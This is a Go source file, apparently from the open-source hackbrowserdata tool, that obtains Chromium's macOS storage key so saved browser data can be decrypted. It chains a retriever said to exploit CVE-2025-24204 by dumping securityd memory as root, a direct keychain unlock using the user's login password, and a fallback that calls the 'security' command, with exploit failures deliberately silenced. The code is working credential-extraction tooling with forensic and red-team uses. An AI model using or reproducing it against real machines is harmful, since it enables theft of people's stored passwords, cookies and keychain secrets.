Files

190 lines
6.1 KiB
Go

//go:build darwin
package keyretriever
import (
"bytes"
"context"
"crypto/sha1"
"errors"
"fmt"
"os/exec"
"strings"
"sync"
"time"
"github.com/moond4rk/keychainbreaker"
"github.com/moond4rk/hackbrowserdata/log"
)
// https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
var darwinParams = pbkdf2Params{
salt: []byte("saltysalt"),
iterations: 1003,
keySize: 16,
hashFunc: sha1.New,
}
// securityCmdTimeout is the maximum time to wait for the security command.
const securityCmdTimeout = 30 * time.Second
// GcoredumpRetriever uses CVE-2025-24204 to extract keychain secrets
// by dumping the securityd process memory. Requires root privileges.
// All keychain records are cached via sync.Once so the memory dump
// happens only once, even when shared across multiple browsers.
type GcoredumpRetriever struct {
once sync.Once
records []keychainbreaker.GenericPassword
err error
}
// RetrieveKey logs internal failures at Debug and returns (nil, nil) so ChainRetriever falls
// through to the next retriever silently. The most common failure ("requires root privileges")
// is documented expected behavior, not a warning-worthy condition; surfacing it on every profile
// would drown out genuine warnings. The same pattern is used by ABERetriever (see abe_windows.go).
func (r *GcoredumpRetriever) RetrieveKey(hints Hints) ([]byte, error) {
r.once.Do(func() {
r.records, r.err = DecryptKeychainRecords()
})
if r.err != nil {
log.Debugf("gcoredump: %v", r.err)
return nil, nil //nolint:nilerr // intentional silent fallthrough
}
key, err := findStorageKey(r.records, hints.KeychainLabel)
if err != nil {
log.Debugf("gcoredump: %v", err)
return nil, nil //nolint:nilerr // intentional silent fallthrough
}
return key, nil
}
// loadKeychainRecords opens login.keychain-db and unlocks it with the given
// password, returning all generic password records.
func loadKeychainRecords(password string) ([]keychainbreaker.GenericPassword, error) {
kc, err := keychainbreaker.Open()
if err != nil {
return nil, fmt.Errorf("open keychain: %w", err)
}
if err := kc.Unlock(keychainbreaker.WithPassword(password)); err != nil {
return nil, fmt.Errorf("unlock keychain: %w", err)
}
return kc.GenericPasswords()
}
// findStorageKey searches keychain records for the given storage account
// and derives the encryption key.
func findStorageKey(records []keychainbreaker.GenericPassword, storage string) ([]byte, error) {
for _, rec := range records {
if rec.Account == storage {
return darwinParams.deriveKey(rec.Password), nil
}
}
return nil, fmt.Errorf("%q: %w", storage, errStorageNotFound)
}
// KeychainPasswordRetriever unlocks login.keychain-db directly using the
// user's macOS login password. No root privileges required.
// The keychain is opened and decrypted only once; subsequent calls
// for different browsers reuse the cached records.
type KeychainPasswordRetriever struct {
Password string
once sync.Once
records []keychainbreaker.GenericPassword
err error
}
func (r *KeychainPasswordRetriever) RetrieveKey(hints Hints) ([]byte, error) {
if r.Password == "" {
return nil, fmt.Errorf("keychain password not provided")
}
r.once.Do(func() {
r.records, r.err = loadKeychainRecords(r.Password)
})
if r.err != nil {
return nil, r.err
}
return findStorageKey(r.records, hints.KeychainLabel)
}
// SecurityCmdRetriever uses macOS `security` CLI to query Keychain.
// This may trigger a password dialog on macOS. Results are cached
// per storage name so each browser's key is fetched only once.
type SecurityCmdRetriever struct {
mu sync.Mutex
cache map[string]securityResult
}
type securityResult struct {
key []byte
err error
}
func (r *SecurityCmdRetriever) RetrieveKey(hints Hints) ([]byte, error) {
storage := hints.KeychainLabel
r.mu.Lock()
defer r.mu.Unlock()
if res, ok := r.cache[storage]; ok {
return res.key, res.err
}
key, err := r.retrieveKeyOnce(storage)
r.cache[storage] = securityResult{key: key, err: err}
return key, err
}
func (r *SecurityCmdRetriever) retrieveKeyOnce(storage string) ([]byte, error) {
ctx, cancel := context.WithTimeout(context.Background(), securityCmdTimeout)
defer cancel()
var stdout, stderr bytes.Buffer
cmd := exec.CommandContext(ctx, "security", "find-generic-password", "-wa", strings.TrimSpace(storage)) //nolint:gosec
cmd.Stdout = &stdout
cmd.Stderr = &stderr
if err := cmd.Run(); err != nil {
if errors.Is(ctx.Err(), context.DeadlineExceeded) {
return nil, fmt.Errorf("security command timed out after %s", securityCmdTimeout)
}
// `security find-generic-password` exits non-zero with empty stderr when the user denies
// the keychain access prompt or enters the wrong password. Surface that explicitly so the
// error message is actionable instead of the cryptic "exit status 128 ()".
stderrStr := strings.TrimSpace(stderr.String())
if stderrStr == "" {
return nil, fmt.Errorf("security command: %w (likely keychain access denied or wrong password)", err)
}
return nil, fmt.Errorf("security command: %w (%s)", err, stderrStr)
}
if stderr.Len() > 0 {
return nil, fmt.Errorf("keychain: %s", strings.TrimSpace(stderr.String()))
}
secret := bytes.TrimSpace(stdout.Bytes())
if len(secret) == 0 {
return nil, fmt.Errorf("keychain: empty secret for %s", storage)
}
return darwinParams.deriveKey(secret), nil
}
// DefaultRetrievers returns the macOS Retrievers. macOS has only a V10 tier (v11 and v20 cipher
// prefixes are not used by Chromium on this platform), populated by a within-tier first-success
// chain tried in order:
//
// 1. GcoredumpRetriever — CVE-2025-24204 exploit (root only)
// 2. KeychainPasswordRetriever — direct unlock, skipped when password is empty
// 3. SecurityCmdRetriever — `security` CLI fallback (may trigger a dialog)
func DefaultRetrievers(keychainPassword string) Retrievers {
chain := []KeyRetriever{&GcoredumpRetriever{}}
if keychainPassword != "" {
chain = append(chain, &KeychainPasswordRetriever{Password: keychainPassword})
}
chain = append(chain, &SecurityCmdRetriever{cache: make(map[string]securityResult)})
return Retrievers{V10: NewChain(chain...)}
}